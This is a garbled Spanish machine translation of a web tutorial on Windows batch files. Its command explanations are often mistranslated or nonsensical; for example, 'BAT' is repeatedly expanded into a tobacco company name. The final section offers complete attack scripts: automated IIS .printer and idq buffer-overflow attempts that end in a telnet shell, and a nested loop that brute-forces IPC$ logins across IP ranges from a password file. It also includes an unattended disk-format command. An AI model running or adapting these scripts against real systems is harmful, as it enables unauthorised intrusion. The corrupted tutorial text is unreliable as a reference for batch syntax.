La Red de Conocimientos Pedagógicos - Conocimientos históricos - ¿Qué es un archivo por lotes?

¿Qué es un archivo por lotes?

Un archivo por lotes es un conjunto de comandos combinados en un archivo de texto ejecutable en un orden determinado, con la extensión BAT.

1. REM

REM es un comando de comentario, generalmente utilizado para comentar programas. Cuando se ejecuta el programa, el contenido después de este comando no se mostrará ni se ejecutará. Ejemplo:

REM, lo que ves ahora es un comentario, esta frase no se ejecutará. Todo lo explicado en futuros ejemplos se colocará después de REM. Tenga en cuenta.

2. Eco

echo es un comando ECHO. Los parámetros principales están encendidos y apagados. Normalmente, los mensajes de eco se utilizan para mostrar mensajes específicos. Ejemplo:

Echo

El Rem anterior significa desactivar el eco, es decir, no mostrar el comando ejecutado.

Aiko, esto es una noticia.

El Rem de arriba indica la visualización de la columna "Este es un mensaje".

Resultados de la implementación:

c:\>Echo. Capacitación básica en armaduraˌLicenciatura en enseñanzaˌB.A.T. Industries PLC (la empresa de cigarrillos más grande del mundo en el Reino Unido)

Esto es una noticia.

3. Ir a

GOTO significa saltar. En el procesamiento por lotes, se permite usar ": XXX" para construir una etiqueta y luego usar directamente GOTO: etiqueta para ejecutar el comando etiquetado. Ejemplo

: Etiqueta

Rem tiene una etiqueta.

Directorio C:\

Directorio D:\

Ir a la etiqueta

REM continúa la ejecución por encima de la etiqueta de salto del programa.

4. Llamar

El comando de llamada puede llamar a otro lote durante la ejecución del lote y luego continuar ejecutando el lote original después de la ejecución del otro lote. Ejemplo:

Segundo lote. 2 contenido. Las mejores técnicas disponibles son las siguientes:

ECHO, este es el contenido de 2.

Contenido del Lote 1. BAT es el siguiente:

ECHO, este es el contenido de 1

Llamada 2. Basic Armor Training (Entrenamiento básico de armadura)ˌLicenciatura en Enseñanza (Licenciatura en Enseñanza)ˌB.A.T. Industries PLC (la empresa tabacalera más grande del mundo en el Reino Unido)

Los contenidos de ECHO 1 y 2 son todo mostrado.

Los resultados de la implementación son los siguientes:

c:\ & gt; 1.Basic Armor Training (Licenciatura en Enseñanza)ˌB.A.T.Industries PLC (La empresa tabacalera más grande del mundo). en el Reino Unido)

Este es el contenido de 1.

Este es el contenido de 2.

Se muestran todos los contenidos de 1 y 2.

Pausa

PAUSA detiene la ejecución de comandos del sistema y muestra el siguiente contenido. Ejemplo:

c:\ & gt; Abortar

Por favor presione cualquier tecla para continuar...

Si

SI. condición Declaración de juicio, el formato de sintaxis es el siguiente:

IF [NOT] comando de número ERRORLEVEL

IF [NOT] cadena1 == comando cadena2

Si [ no existe] nombre del archivo comando

Descripción:

[NO] toma el valor inverso del resultado devuelto, que significa "si no".

ERRORLEVEL es el valor de salida devuelto después de ejecutar el comando.

# El rango numérico del valor de salida es de 0 a 255. El orden para juzgar los valores de tiempo debe ser de mayor a menor. Esta condición es verdadera cuando el valor de retorno es mayor o igual que el valor especificado.

cadena 1 == Cadena2 La cadena 1 y la cadena 2 son datos de caracteres, y las mayúsculas y minúsculas de los caracteres en inglés se considerarán diferentes.

En esta condición, debe haber dos signos iguales (igualdad absoluta), y el siguiente comando se ejecutará después de que la condición quiera esperar.

La existencia del nombre del archivo significa que el archivo o directorio existe.

La instrucción IF ERRORLEVEL debe colocarse después del comando. IF ERRORLEVEL determina el valor de retorno después de la ejecución del comando.

Ejemplo:

1. Comando digital IF [NOT] ERRORLEVEL

Detecte el valor de retorno después de ejecutar el comando y emita un juicio.

Echo

Dirección z:

Si el código de salida es 1 (sin éxito), Rem salta al encabezado 1.

Si el nivel de error es 1, vaya a 1

Si el código de salida es 0 (éxito), Rem salta al encabezado 0 para su ejecución.

Si el nivel de error es 0, vaya a 0

:0

¡El comando echo se ejecutó exitosamente!

Después de ejecutar el programa Rem, salte al título salir y salir.

Ir a salida

:1

¡El comando echo falló!

Después de ejecutar el programa Rem, salte al título salir y salir.

Ir a Salir

:Salir

Rem, esta es la salida del programa.

2. Comando IF string1==string2

Detecta el valor de la variable actual para emitir un juicio.

Echo

Si %1==2, vaya a No

¡Las variables de eco son iguales!

Ir a Salir

: Ninguno

Las variables de eco no son iguales.

Ir a Salir

:Salir

Puedes ver C:\>test.bat

3. El comando de nombre de archivo existe

Busque un archivo específico y emita un juicio.

Echo

Si no existe, autoexec.bat va a 1

¡El archivo echo existe correctamente!

Ir a salir

:1

El archivo echo no existe. ¡Fallido!

Ir a salir

:Salir

Puedes colocar este lote en las unidades C y D para ver el efecto.

7. Este comando de

es muy especial. Es un comando que ejecuta comandos en un bucle. Al mismo tiempo, FOR también se puede aplicar en bucles FOR. Este artículo primero presenta el uso básico sin realizar el bucle de la aplicación y luego explica el bucle de la aplicación más adelante. En el procesamiento por lotes, el comando es el siguiente:

FOR[% % c]IN(set)DO[comando][argumentos]

En la línea de comando, el comando es como siguiente:

p>

Para [% c]IN(set)DO[comando][argumentos]

Parámetros generales:

/LEste conjunto representa un aumento número desde el inicio hasta el final de la secuencia. Por lo tanto, (1,1,5) producirá la secuencia 1 2 3 4 5, y (5,1,1) producirá la secuencia (5 4 3 2 1).

/D Si la colección contiene comodines, especifica que coincide con nombres de directorios pero no con nombres de archivos.

/F lee datos del archivo especificado como una variable.

eol = c - Indica el carácter de comentario de final de línea (solo uno)

skip = n - Indica el número de líneas a ignorar al principio del archivo.

delims = XXX: representa el conjunto de delimitadores. Este conjunto de delimitadores predeterminado reemplaza los espacios y las tabulaciones.

Tokens=x, y, m-n: se refiere a qué símbolo de cada fila se pasa para sí mismo en cada iteración. Esto hará que se asignen nombres de variables adicionales. El formato M-n es un rango. El mésimo se especifica mediante el símbolo enésimo. Si el último carácter de la cadena de símbolos es un asterisco, se asignan variables adicionales y se acepta el texto reservado de la línea después de analizar el último símbolo.

use backq: especifica que la nueva sintaxis se ha utilizado para tratar cadenas con comillas invertidas y caracteres de comillas simples como cadenas de texto al ejecutar comandos, y para permitir que los nombres de archivos se expandan con comillas dobles en el conjunto de nombres de archivos.

Veamos un ejemplo:

FOR/F "eol=;tokens=2,3* delims=," %i in (myfile.txt) do @echo %i % j %k

analizará cada línea en myfile.txt, ignorará aquellas líneas que comiencen con punto y coma y pasará el segundo y tercer símbolo de cada línea al cuerpo del programa para usar separados por comas y/o espacios; símbolos. Tenga en cuenta que la declaración en el cuerpo del programa se refiere a %i para obtener el segundo símbolo, %j para obtener el tercer símbolo y %k para obtener todos los símbolos restantes después del tercer símbolo. Para nombres de archivos con espacios, el nombre del archivo debe estar entre comillas dobles. Para utilizar comillas dobles de esta manera, también debe utilizar la opción usebackq; de lo contrario, se entenderá que las comillas dobles definen una cadena que se va a analizar.

%i se describe específicamente en la declaración for, y %j y %k se describen específicamente en la opción tokens=. Puede especificar hasta 26 símbolos en una sola línea con tokens= siempre y cuando no intente describir variables superiores a la letra "z" o "z". Recuerde, los nombres de las variables distinguen entre mayúsculas y minúsculas y son universales; además, no se pueden utilizar más de 52 simultáneamente.

También puede utilizar la lógica de análisis FOR /F en cadenas adyacentes; haga esto encerrando el conjunto de nombres de archivo entre comillas simples. De esta manera, la cadena se tratará como una única línea de entrada en el archivo. Finalmente, puede usar el comando FOR /F para analizar el resultado de este comando. Para hacer esto, convierta el conjunto de nombres de archivos entre paréntesis en una cadena cerrada. Esta cadena se pasará a CMD.EXE como línea de comando y su salida se capturará en la memoria y se analizará como un archivo. Por lo tanto, aquí hay un ejemplo:

FOR/F " usebackq delims == " % I IN(` set `)DO @ echo % I

Enumerar los entornos en el entorno actual El nombre de la variable.

Aquí hay un ejemplo simple que ilustrará la diferencia entre el parámetro /L y sin parámetros:

Eliminar archivo 1 . txt 2 .

Ejemplo:

Echo

FOR /L %%F IN (1, 1, 5) DO DEL %%F.TXT

O

Para %%F IN (1, 2, 3, 4, 5) DO DEL %%F.TXT

Los resultados de los dos comandos anteriores son los siguientes :

c:\>BORR 1. Archivo de texto (textfile)

c:\>DEL 2. Archivo de texto (textfile)

c:\>DEL 3. Archivo de texto (textfile)

c:\>DEL 4. Archivo de texto (textfile)

c:\>DEL 5. Archivo de texto (archivo de texto)

8. Establecer localización

Inicie la localización de los cambios del entorno en el archivo por lotes. Después de ejecutar SETLOCAL.

Los cambios de entorno se limitan a archivos por lotes. Para restaurar la configuración original debes ejecutar.

La línea termina localmente. Cuando se llega al final de un archivo por lotes, los comandos SETLOCAL que aún no se han ejecutado tendrán un ENDLOCAL implícito para cada archivo por lotes

.

Ejecutar. Ejemplo:

@Desactivar eco

ESTABLECER RUTA /*Ver la variable de entorno RUTA.

Abortar

SETLOCAL

SET PATH=E:\TOOLS /*Restablece la variable de entorno PATH.

Establecer ruta

Abortar

Finalizar local

Establecer ruta

Como se puede ver en el ejemplo anterior , La variable de entorno PATH es la ruta predeterminada del sistema cuando se muestra por primera vez. Cuando se establece en E:\TOOLS, se muestra como E:\TOOLS, pero cuando finaliza, podemos ver la ruta restaurada a la ruta predeterminada del sistema. Pero esta configuración sólo tiene efecto cuando el lote se está ejecutando. Una vez completada la operación por lotes, se restaurará la variable de entorno PATH.

9. Shift

El comando SHIFT puede hacer que el comando en el comando use más de 10 parámetros reemplazables (%0 ~%9).

Eco

ECO %1 %2 %3 %4 %5 %6 %7 %8 %9

Cambiar

ECO %1 %2 %3 %4 %5 %6 %7 %8 %9

Cambios

ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9

Los resultados de la implementación son los siguientes:

c::\ & gt; Bat1 2 3 4 5 6 7 8 9 10 11

1 2 3 4 5 6 7 8 9

2 3 4 5 6 7 8 9 10

3 4 5 6 7 8 9 10 11

Los anteriores son 9 comandos por lotes basados ​​en WIN2000.

Parte 2: Símbolos especiales y procesamiento por lotes.

No se permite el uso de algunos símbolos en la línea de comando, pero algunos símbolos tienen significados especiales.

1, el símbolo (@)

@ en el procesamiento por lotes significa desactivar el eco de la línea actual. Por lo anterior sabemos que el comando echo off puede apagar todo el lote de eco, pero no podemos dejar de mostrar el comando echo off. Ahora agregamos @ delante de este comando, de modo que @ desactive el comando echo off para cumplir con el requisito de que no se repetirán todos los comandos.

2. El símbolo (> )

& gt significa pasar o cubrir. Su función es pasar los resultados del eco en ejecución al siguiente alcance (pero el siguiente archivo también puede ser la consola del sistema predeterminada). Ejemplo:

El contenido del archivo 1.txt es:

1+1

Utilice el comando c:\>dir *. txt & gt1.txt

En este momento, el contenido de 1.txt es el siguiente

El volumen en la unidad c no tiene etiqueta.

El número de serie del volumen es 301A-1508.

C:\Directorio

2003-03-11 14:04 1 005 FRUNLOG. Archivo de texto (archivo de texto)

2003-04-04 16:38 18598494 log

1.txt

2003-03-12 11:43 0 ai registro de errores .txt

2003-03-30 00:35 30,571 202.108.txt

5 archivos 18,630,070 bytes

0 directorios 1,191,542,784 bytes disponibles

& gt ¿Se ejecutará el final del comando? ¿Alimentar la tos de trineo? ¿Celoso de Namu? ¿Por qué?

No habrá eco cuando el programa se transmita a la consola (nota: eco y eco desactivado aquí no son el mismo concepto. Eco desactivado desactiva el eco del comando de entrada. El eco aquí es durante la ejecución del programa o Echo después de la ejecución

c:\>dir*.txt>empty

El programa no tendrá visualización ni seguimiento.

3. Símbolo (>>)

Símbolo >>>: La función es similar a la del símbolo, pero su diferencia es que >> es y le agrega >>. También es posible pasar el eco a la consola (como en el ejemplo anterior):

En el archivo 1.txt, ambos son:

1+1

Utilice el comando c:\>dir*. txt & gt& gt1.txt

En este momento, el contenido de 1.txt es el siguiente

1+1

El volumen en la unidad c no tiene etiqueta.

El número de serie del volumen es 301A-1508.

C:\Directorio

2003-03-11 14:04 1 005 FRUNLOG. Archivo de texto (archivo de texto)

2003-04-04 16:38 18598494 log

1.txt

2003-03-12 11:43 0. ai registro de errores .txt

2003-03-30 00:35 30,571 202.108.txt

5 archivos 18,630,070 bytes

0 directorios 1,191,542,784 bytes disponibles

& gt& El resultado de la ejecución del comando gt se adjunta al contenido del archivo original.

4. El símbolo (|)

| es un comando de transmisión por canalización, lo que significa pasar el resultado del comando anterior al siguiente comando para su procesamiento. Ejemplo:

c:\ & gt; Directorio c:\ | Busque "1508"

El número de serie del volumen es 301A-1508.

El comando anterior significa buscar en todo c:\ y encontrar la cadena 1508. Con respecto al uso de Buscar, utilice Buscar/compruébelo usted mismo

Cuando no uso los parámetros de formato automático de formato, así es como formateo automáticamente el disco.

echo y|fornat a: /s /q /v:system

Todos los que han utilizado el comando formatear saben que formatear tiene un proceso dual interactivo, que requiere que el usuario ingrese y. Determina si se debe ejecutar el comando actual. Agregue echo y antes de este comando y pase el resultado de la ejecución del eco y al formato con el carácter de transmisión de canalización para lograr el propósito de ingresar y manualmente (este comando es dañino, tenga cuidado al realizar la prueba).

5. El símbolo ()

son los símbolos especiales >;, & lt, y. El protagonista. En el prefacio, eliminó la energía cinética especial de los tres símbolos anteriores y solo los consideró como símbolos sin utilizar sus significados especiales. Ejemplo:

c:\>Prueba de eco^>1.txt

Prueba>1.txt

Como se puede ver en lo anterior, la prueba no El archivo 1.txt no se escribe, pero cuando se muestra la cadena prueba >: 1.txt. Esta notación es eficaz cuando se crean lotes de forma remota.

6. Símbolo (&)

El símbolo & amp permite el uso de más de dos comandos diferentes en una línea. Cuando el primer comando falla, no afecta la ejecución del segundo comando. Ejemplo:

c:\>Directorio z:\&Directorio y:\&&Directorio c:\

Independientemente de si la letra de unidad existe o no, el comando anterior Mostrará el contenido de z: y: c: continuamente.

7. Símbolo (&; & amp)

& amp& ampSymbol también permite el uso de dos o más comandos diferentes en una línea después de que el primer comando no se ejecuta, los comandos posteriores. no será ejecutado. Ejemplo:

c:\>Directorio z:\&&&Directorio y:\&&&Directorio c:\

El comando anterior le pedirá que verifique si hay Z: Si hay un disco , ejecútelo; de lo contrario, todos los comandos posteriores se detendrán.

8. Símbolo ("")

El símbolo "" permite incluir espacios en la cadena.

Para ingresar a un directorio especial, puede utilizar el siguiente método:

c:\>cd "Archivos de programa"

c:\>cd Program~1

c:\>cd pro*

Todos los métodos anteriores pueden ingresar al directorio de archivos del programa.

9. Símbolo (,)

Este símbolo equivale a un espacio. En algunos casos especiales, se puede utilizar en lugar de espacios. Ejemplo:

c:\> Directorio, c:\

10, símbolo (;)

; usarse para diferentes El objetivo; el aislamiento, pero el efecto permanece sin cambios. Si ocurre un error durante la ejecución, solo se devuelve un informe de error, pero el programa continúa con la ejecución. Ejemplo:

Directorio C:\;d:\;E:\F:\

El comando anterior es equivalente a

Directorio C:\

Directorio D:\

Directorio E:\

Directorio F:\

Por supuesto, hay algunos símbolos especiales, pero el alcance de El uso es muy pequeño. Aquí no se explican uno por uno.

Parte 3: Procesamiento por lotes y variables

La referencia adecuada a las variables en el procesamiento por lotes hará que su programa se utilice más ampliamente. El procesamiento por lotes puede procesar variables de % 0 a % 9 * * * 10 a la vez. Entre ellos, %0 tiene por defecto el nombre de archivo del proceso por lotes. Después de usar el comando SHIFT, %0 solo se puede reemplazar por %1. Shift Agregaste un %0 extra antes de %1, el resultado es el siguiente:

c::\ & gt; Murciélago 1 2 3 4 5 6 7 8 9 10 11

Cambio. Bat1 2 3 4 5 6 7 8 9

1 2 3 4 5 6 7 8 9 10

2 3 4 5 6 7 8 9 10 11

¿Cómo diferencia el sistema entre cada variable? La regla para distinguir variables es el espacio en el medio de la cadena, es decir, siempre que se encuentre un espacio, los caracteres antes del espacio se tratan como una variable y los caracteres después del espacio se tratan como otra variable. Si su variable es un nombre de directorio largo que contiene espacios, debe rodearlo con las comillas utilizadas en el Símbolo especial 8 en la sección anterior. Ejemplo:

El contenido del lote es:

ECHO %1

Echo %2

Echo %3

Ingrese el comando:

c:\>Probar "Archivo de programa" Archivo de programa

Archivo de programa

Programa

Archivo

En un proceso por lotes complejo, se pueden utilizar más de 10 variables al mismo tiempo, lo que entrará en conflicto con las reglas del sistema. Entonces, ¿cómo solucionar este problema? También hay una variable en el sistema llamada variable de entorno (puede usar el comando SET para ver las variables de entorno del sistema actual. Por ejemplo, el directorio del sistema actual es% windir% o% SystemRoot%). Cuando se utilizan más de 10 parámetros al mismo tiempo, podemos guardar algunas variables como variables de entorno y llamarlas en programas posteriores. El uso específico es SET A=%1, por lo que llamamos a una nueva variable de entorno A. Al llamar a la variable A, debemos llamarla %A%. La variable de entorno no se ve afectada por el comando SHIFT. Si desea cambiar una variable de entorno, debe restablecerla. Por supuesto, también puedes pasar entre variables para lograr el objetivo. Veamos un ejemplo.

El proceso por lotes es el siguiente:

Echo

Establecer proceso=%1

Cambiar

Establecer contraseña 1=%1

Cambios

ECHO % PASA % % PASA 1% % 1% 2% 3% 4% 5% 6% 7% 8% 9

Cambios

ECHO %PASS% %PASS1% %9

Establecer pase=%PASS1% paso variable

Establecer contraseña 1=%9

Cambiar

ECHO %PASS% %PASS1% %9

Usar comando: C:\ & gt; prueba A B 3 4 5 6 7 8 9 10 K L

A B 3 4 5 6 7 8 9 10 K Nota: Esta línea muestra 11 variables.

Después de usar SHIFT tres veces, %9 se convierte en L.

El resultado después de pasar la variable B L.

Parte 4: Caso completo.

Estos son algunos usos del procesamiento por lotes. Ahora combinamos estos usos y hacemos un análisis detallado de algunos lotes publicados en línea para ver qué tan efectivos son. Aquí daré tres ejemplos para un análisis detallado. Para mantener el programa completo, mis comentarios se agregarán después de /*.

Ejemplo 1

Este ejemplo es un proceso por lotes que utiliza iis5hack.exe para desbordar un host con una vulnerabilidad .printer. Los programas utilizados incluyen iis5hack.exe y telnet.exe que vienen con el sistema. El formato del comando de iis5hack es:

iis5hack & lt target ip & gt& lt target port> & lt target version> & lt overflow connect port> La versión de destino es del 0 al 9. Los números 10 corresponden a diferentes. Versión de idioma y versión del sistema sp. El formato de comando que utilizamos en el procesamiento por lotes es que el número de versión inicial es opcional. El procedimiento es el siguiente.

@echo off /*Desactivar el comando echo

If " %1%" = ""gotohelp/* Determine si %1 está vacío y %1 es la IP de destino.

Si " %2%" = "1" goto1/* determine si %2 es 1. Si es 1, la bandera de salto es 1.

Si "% 2%" == " 2 " goto 2/* % 2 es el número de versión inicial, si no está configurado, entonces

If " %2%" = " 3" goto3/*Si existe, ejecutar desde el lugar correspondiente.

Si "% 2%" == "4" pasa a 4

Si "% 2%" == "5" pasa a 5

Si "% 2%" == " 6 "Ir a 6

Si "% 2%" == " 7 "Ir a 7

Si "% 2%" == " 8 "Vaya a 8

Si no existe, iis5hack.exe goto file/* ejecuta el contenido de la sección del archivo de bandera sin buscar iis5hack.exe.

Ping % 1-n 1 | busque " Recibido = 1 "/* Haga ping al objetivo 1 vez y encuentre Recibido = 1 en los resultados.

Si el nivel de error 1 va al error /*Si el código de retorno es 1, se ejecutará la sección de error (el código 1 significa que no se encuentra 0 y la ejecución es exitosa).

Hack de IIS 5 % 1 809 88 | Encuentra "bueno" /* Comienza a desbordar el puerto de destino 80. Después de que el código del sistema 9 se desborda, el puerto de conexión 88 encuentra la cadena "buena" en el resultado de la ejecución (la cadena "buena" solo aparecerá después de que el desbordamiento sea exitoso).

Si no hay un nivel de error 1, vaya a telnet/*Si no hay un código de error 1 (el desbordamiento es exitoso), ejecute el contenido del segmento telnet.

¡Echo OS Tipo 9 falló! /De lo contrario, muestre esta oración.

:8 /* Consulte el contenido anterior para conocer el siguiente contenido del código.

iis5hack %1 80 8 88 | Encontrado "OK"

Si no es el nivel de error 1, vaya a telnet

Echo OS tipo 8 falló.

:7

iis5hack %1 80 7 88 | Encontrado "OK"

Si no es el nivel de error 1, vaya a telnet

Echo ¡El sistema operativo tipo 7 falló!

:6

iis5hack %1 80 6 88 | Encontrado "OK"

Si no es el nivel de error 1, vaya a telnet

Echo ¡El sistema operativo tipo 6 falló!

:5

iis5hack %1 80 5 88 | Encontrado "OK"

Si no es el nivel de error 1, vaya a telnet

Echo ¡El sistema operativo tipo 5 falló!

:4

iis5hack %1 80 4 88 | Encontrado "OK"

Si no es el nivel de error 1, vaya a telnet

Echo ¡El sistema operativo tipo 4 falló!

:3

iis5hack %1 80 3 88 | Encontrado "OK"

Si no es el nivel de error 1, vaya a telnet

Echo ¡El sistema operativo tipo 3 falló!

:2

iis5hack %1 80 2 88 | Encontrado "OK"

Si no es el nivel de error 1, vaya a telnet

Echo ¡El sistema operativo tipo 2 falló!

:1

iis5hack %1 80 1 88 | Encontrado "OK"

Si no es el nivel de error 1, vaya a telnet

Echo ¡El sistema operativo tipo 1 falló!

:0

iis5hack %1 80 0 88 | Encontrado "OK"

Si no es el nivel de error 1, vaya a telnet

Echo ¡El sistema operativo tipo 0 falló!

Ir al error

:telnet

Telnet %1 88 /* Comienza a conectarse al puerto 88 de la ip de destino.

Ir a salir /*Saltar a la sección de salida después de que se interrumpa la conexión.

:error/*La sección de error muestra la información de ayuda después del error.

¡Es posible que Echo no pueda conectarse a la red o que la otra parte solucione la vulnerabilidad! ¡Pruébelo manualmente de acuerdo con el siguiente formato!

truco de echo IIS 5[IP de destino] [puerto WEB][tipo de sistema][puerto abierto]

Respuesta chino: 0

ECHO chino+sp1: 1

Echo Inglés: 2

Echo Inglés+sp1: 3

Echo Japonés: 4

ECHO Japonés+sp1: 5

ECHO Coreano: 6

ECHO Coreano+sp1: 7

Echo México: 8

Echo México+sp1: 9

p>

Ir a salir /*Saltar a la sección de salida.

:archivo /*La sección de archivo muestra información de que el archivo no se encuentra.

¡Iis5hack.exe no encontró el archivo echo! ¡El programa dejó de ejecutarse!

Ir a salir /*Saltar a la sección de salida.

:help /*La sección de ayuda muestra la ayuda de formato para este lote.

El uso del programa Echo es el siguiente:

Echo IIS[IP de destino]

echo IIS[IP de destino][Número de inicio 9-0]

:exit /*La sección de salida es la salida del programa.

Básicamente no hay ningún ciclo en este lote, simplemente desciende por completo.

¡Entonces el código es largo y no difícil!

Ejemplo 2

Este ejemplo es un proceso por lotes que utiliza iisidq.exe para desbordar una máquina con una vulnerabilidad idq. Los programas utilizados son iisidq.exe y el programa telnet.exe que viene con el sistema. El uso de iisidq.exe es el siguiente:

Parámetros operativos: tipo de sistema operativo dirección de destino puerto web 1 puerto de escucha de desbordamiento;

Entre ellos, si no se ingresan parámetros de comando de entrada, el valor predeterminado es "cmd.exe".

El rango de codificación del tipo de sistema operativo es 0-14. El formato de comando utilizado en nuestro procesamiento por lotes es

@echo off /*Igual que el ejemplo 1

Si no existe, iisidq.exe vaya al archivo/*Igual que el ejemplo 1.

Si %1 == " "Ir al error/*Igual que en el ejemplo 1.

ping % 1-n 1 | buscar "recibido = 1"/*Igual que el ejemplo 1.

Si el nivel de error 1 es gotoerror1/*Igual que el ejemplo 1.

Establecer b=%1 /*Crea una variable de entorno B y pasa el contenido de la variable %1 a la variable de entorno B. El contenido de la variable B es la IP de destino futura.

Establezca a=0 /*Cree una variable de entorno A y especifique la variable de entorno A como 0. Debido a que se utiliza todo el ciclo del lote, se utiliza a como contador.

:no /*El comienzo de la sección no

Si %a%==0 establece d=0 /*Si la variable de entorno a=0, cree la variable de entorno d y establezca la variable de entorno d = 0.

Si %a%==1 set d=1 /*La variable de entorno d es en realidad un código de tipo de sistema operativo, controlado por un contador.

Si %a%==2 establece d=2 /*Cambiar.

Si %a%==3, establezca d=3

Si %a%==4, establezca d=4

Si %a%= = 5. Establecer d=5

Si %a%==6 establecer d=6

Si %a%==7 establecer d=7

Si %a%==9 establece d=9

Si %a%==10 establece d=13

Si %a%==11 establece d=14

Ir a 0 /*Una vez completada la variable, se transfiere a la marca 0 para su operación.

:1

¡Echo está ejecutando el proyecto %d%! ¡No se puede conectar con el objetivo %b%! Intentando conectarme, espera. ......

:0 /*Marcar el comienzo de 0

IIS idq % d % % b % 80 1 99 | buscar "bueno"/*Enviar desbordamiento en formatee el comando y busque la cadena good en los resultados (la cadena good se encontrará solo si el código se envía correctamente).

Si el nivel de error 1 es goto1/*Si no hay una cadena buena, no se enviará como un salto.

/*Ve a 1 y continúa intentando enviar.

Ping 127.0.0.1 -n 8 >Nul /*Hacer ping a ti mismo 8 veces equivale a retrasar la visualización durante 8 segundos.

/*Resultados de línea

Echo está ejecutando el elemento %d%!/*Tipo de sistema operativo que informa desbordamiento.

Telnet %b% 99 /*Puerto desbordado de conexión

Echo. /*Mostrar líneas en blanco.

Si % d % = = 14 gotoerror1/*Si el tipo de sistema operativo es 14, salte al error 1 (salida del bucle).

Si % d % == 13 establece a = 11/* Comience a volver a adjuntar el código del sistema operativo con el contador.

Si %d%==9, establezca a=10

Si %d%==7, establezca a=9

Si %d%= =6, luego establece a=7

Si %d%==5, entonces establece a=6

Si %d%==4, entonces establece a=5

Si %d%==3, entonces establezca a=4

Si %d%==2, entonces establezca a=3

Si %d%= =1Establecer a=2

Si %d%==0, entonces establecer a=1

Ir a no /*El valor adicional completa la ejecución del salto sin segmento.

:file /*El siguiente es el mensaje de ayuda después de un error.

¡Aike, no se encontró IIsidq.exe! ¡Ponga este archivo en el mismo directorio que este archivo!

Ir a Salir

:Error

¡Error de eco! ¡No se puede reconocer la IP de destino! ¡Utilice el siguiente formato para conectarse!

idq de eco[IP de destino]

Ir a salir

: Error 1

¡Error en la conexión de eco! ¡Puede ser que la máquina de destino haya solucionado la vulnerabilidad o que haya una falla en la red!

Echo, ¡pruébalo manualmente según el siguiente formato!

echo iisidq[tipo de destino][IP de destino][puerto de destino][método de conexión][puerto de desbordamiento]

echo telnet[IP de destino][puerto de desbordamiento]

:exit /*Salir de todo el programa

Domine todo el ciclo utilizado por este lote y domine el lote dominando la contraparte.

Ejemplo 3

para /l %%a en (0, 1, 255) haz para /l %%b en (0, 1, 255) haz para /l % %c en (1, 1, 254) hacer para /f "tokens=1, 2 * " % e en (contraseña de usuario . txt) hacer uso neto \ \ % 1. % % a . % b . % c \ IPC $ % % e/u:% % f

El comando anterior es un comando 1. Como puede ver, este comando utiliza cuatro FOR. Uso: C:\>Prueba. BAT 218 Después de ingresar 218, el comando tomará el valor inicial 0 de 1 como %%a por segunda vez, luego continuará tomando el valor inicial 0 como %%b y continuará tomando el valor inicial 1 como %%c. por tercera vez. El último for utiliza el primer carácter en userpass.txt como segunda contraseña %%e.

net usr \ \ 218 . 0 0 1 \ IPC $ 123/u:ABC

Por supuesto, algunos amigos pueden decir que el ejemplo anterior es demasiado simple y rígido. . flexible. He realizado algunas modificaciones a este ejemplo (consulte ipc.bat para ver el archivo completo) y los amigos interesados ​​pueden echarle un vistazo por sí mismos. El programa modificado puede encontrar de manera flexible el rango desde el principio hasta el final que especifique o desde el principio hasta la IP máxima que especifique. Por supuesto, la funcionalidad aún se puede mejorar. En cuanto a hasta qué punto se puede fortalecer y si puede convertirse en una nueva herramienta, eso es asunto suyo.

Esta acción de bucle es un poco grande, principalmente porque es problemático reemplazar los números de IP y no hay otra manera. No escribiré ningún comentario sobre este lote. Consulte lo anterior y comprenderá este lote rápidamente. ¡No digas que es simple cuando lo entiendes! ¡Al menos es un proceso por lotes que detecta y guarda contraseñas débiles sin utilizar herramientas de terceros! ! Simplemente cambiarlo sigue siendo muy destructivo. Todos estos lotes pasaron la prueba en win2000 y xp. La mayor ventaja es que solo hay un archivo por lotes y no habrá falsos positivos. ¡La desventaja es que es demasiado largo!